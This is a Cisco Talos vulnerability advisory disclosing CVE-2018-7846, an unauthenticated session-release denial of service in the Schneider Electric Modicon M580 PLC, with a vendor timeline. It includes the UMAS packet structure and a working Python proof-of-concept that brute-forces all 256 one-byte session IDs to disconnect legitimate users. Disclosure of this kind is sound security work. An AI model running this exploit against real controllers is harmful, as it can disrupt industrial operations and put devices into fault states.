Talos Vulnerability Report

TALOS-2018-0735

Schneider Electric Modicon M580 UMAS release reservation denial-of-service vulnerability

June 10, 2019
CVE Number

CVE-2018-7846

Summary

An exploitable denial-of-service vulnerability exists in the UMAS Release PLC Reservation function of the Schneider Electric Modicon M580 Programmable Automation Controller, firmware version SV2.70. A specially crafted UMAS command can cause the device to invalidate a session without verifying the authenticity of the sender, resulting in the disconnection of legitimate devices. An attacker can send unauthenticated commands to trigger this vulnerability.

Tested Versions

Schneider Electric Modicon M580 BMEP582040 SV2.70

Product URLs

https://www.schneider-electric.com/en/work/campaign/m580-epac/

CVSSv3 Score

5.3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CWE

CWE-501: Trust Boundary Violation

Details

The Modicon M580 is the latest in Schneider Electric's Modicon line of programmable automation controllers. The device contains a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus and a management protocol referred to as "UMAS."

During normal operation, the Modicon M580 uses a pair of UMAS requests, TAKEPLCRESERVATION and RELEASEPLCRESERVATION, to determine which users are allowed to execute privileged commands. When one user has successfully obtained a reservation, no other user is able to execute commands that fall into certain categories. Commands such as UPLOADBLOCK, which writes new strategy blocks to the device, or RELEASEPLC_RESERVATION, which disconnects the current session, require this type of privilege.

When an existing elevated session is established, most commonly encountered via UnityPro, it is possible to brute force the session ID and send privileged commands under the context of the legitimate user. Session tokens are one byte large, creating only 256 possible values. By looping through each possible value wrapped in a RELEASEPLCRESERVATION command, it is possible to disconnect any user that is using an elevated session.

The structure of a RELEASEPLCRESERVATION command takes a form similar to the following:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C | 
  +---+---+---+

A --> Modbus Function Code (0x5A)
B --> Session
C --> UMAS Function Code   (0x11)

Once the session is disconnected, a number of possible scenarios can play out. The device could enter a fault state if a strategy download is being conducted at the time. If an HMI is disconnected, attempts to control the device could be prevented.

Exploit Proof of Concept

import struct
import socket
from scapy.all import Raw
from scapy.contrib.modbus import ModbusADURequest
from scapy.contrib.modbus import ModbusADUResponse

def send_message(sock, umas, data=None, wait_for_response=True):
    if data == None:
        packet = ModbusADURequest(transId=1)/umas
    else:
        packet = ModbusADURequest(transId=1)/umas/data
    msg = "%s" % Raw(packet)
    resp = ""
    sock.send(msg)
    if wait_for_response:
        resp = sock.recv(2048)
    return resp

def main():
    rhost = "192.168.10.1"
    rport = 502

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((rhost, rport))

    for session in xrange(0x100):
        # RELEASE_RESERVATION
        mbtcp_fnc = "\x5a"
        conv_session = struct.pack("B", session)
        umas_fnc = "\x11"
        umas = "%s%s%s" % (mbtcp_fnc, conv_session, umas_fnc)
        send_message(sock=s, umas=umas)


if __name__ == '__main__':
    main()

Timeline

2018-12-10 - Initial contact
2018-12-17 - Vendor acknowledged
2019-01-01 - 30 day follow up
2019-05-14 - Vendor Patched
2019-06-10 - Public Release

Credit

Discovered by Jared Rittle of Cisco Talos.